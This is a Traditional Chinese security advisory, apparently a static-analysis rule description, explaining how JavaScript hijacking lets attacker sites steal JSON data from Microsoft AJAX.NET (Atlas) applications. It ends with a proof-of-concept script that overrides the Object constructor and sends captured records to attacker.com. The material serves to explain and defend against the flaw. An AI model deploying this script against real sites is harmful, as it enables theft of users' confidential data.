運行 Microsoft AJAX.NET (Atlas) 的應用程序易受到 JavaScript 劫持,使未經授權的攻擊者能夠讀取機密信息。
Microsoft AJAX.NET (Atlas) 使用 JSON 在服務器和客戶端之間傳送數據。該框架生成的響應由可以使用 <script> 標簽求值的有效 JavaScript 組成,因此很容易受到 JavaScript 劫持的攻擊 [1]。默認情況下,這個框架使用 POST 方法提交請求,這樣就很難從惡意 <script> 標簽生成請求(因為 <script> 標簽僅生成 GET 請求)。盡管如此,Microsoft AJAX.NET 確實提供了使用 GET 請求的機制。事實上,許多專家建議程序員使用 GET 請求,以減少瀏覽器緩存和改善性能。
如果發生以下情況,應用程序或框架便可能會受到 JavaScript 劫持的攻擊:
— 使用 JavaScript 作為數據傳輸格式
— 處理機密信息
Web 瀏覽器執行同源策略 (Same Origin Policy),以保護用戶免受惡意網站的攻擊。同源策略 (Same Origin Policy) 規定:如果要使用 JavaScript 來訪問某個網頁的內容的話,則 JavaScript 和網頁必須都來源于相同的域。若不采取同源策略 (Same Origin Policy),惡意網站便可以使用客戶端憑證來運行 JavaScript,從其他網站加載的敏感信息,并對這些信息進行提煉,然后將其返回給攻擊者。
通過 JavaScript 劫持,攻擊者可以繞過 Web 應用程序中使用的同源策略 (Same Origin Policy),該應用程序使用 JavaScript 來交流機密信息。同源策略 (Same Origin Policy) 中的漏洞是:通過這一策略,任何網站的 JavaScript 都可以被其他網站的上下文包含或執行。即使惡意網站不能直接在客戶端上檢查易受攻擊的站點中加載的所有數據,但它仍可以通過配置一個特定的環境利用該漏洞。有了這樣的環境,惡意網站就可以監視 JavaScript 的執行過程和任何可能發生的相關負面效應。由于許多 Web 2.0 應用程序使用 JavaScript 作為數據傳輸機制,因此,與傳統的 Web 應用程序不同,它們往往很容易受到各種攻擊。
JavaScript 中最常見的信息傳輸格式為 JavaScript Object Notation (JSON)。JSON RFC 將 JSON 語法定義為 JavaScript 類實例文本化定義語法 (object literal syntax)的子集。JSON 基于兩種數據結構類型:數組和對象。所有可以作為一個或多個有效 JavaScript 語句進行解析的數據傳送格式都容易受到 JavaScript 劫持的攻擊。JSON 使 JavaScript 劫持變得更加容易,因為 JSON 數組堅持認為它自己就是有效的 JavaScript 指令。因為數組是交換列表的一種正常形式,在應用程序需要交換多個值時會普遍使用該形式。換句話說,一個 JSON 數組會直接受到 JavaScript 劫持的攻擊。一個 JSON 對象只在其被一些其他 JavaScript 結構包圍時才會受到攻擊,這些 JavaScript 結構堅持認為它們自己就是有效的 JavaScript 指令。
例 1:在以下例子中,開頭顯示了一個在 Web 應用程序的客戶端和服務器組件之間進行的合法 JSON 交互,這一 Web 應用程序是用于管理潛在商機的。接下來,它說明了攻擊者如何模仿客戶端獲取服務器端返回的機密信息。注意,本例子是專為基于 Mozilla 的瀏覽器而編寫的代碼。若在創建對象時,沒有使用 new 運算符,則其他主流瀏覽器會禁止重載默認構造函數。
客戶端向服務器請求數據,并通過以下代碼評估 JSON 結果:
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host:www.example.com
Cookie:JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control:private
Content-Type:text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@fortifysoftware.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@fortifysoftware.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@fortifysoftware.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run.Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ":" + this[fld] + ", ";
}
objString += "email:" + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>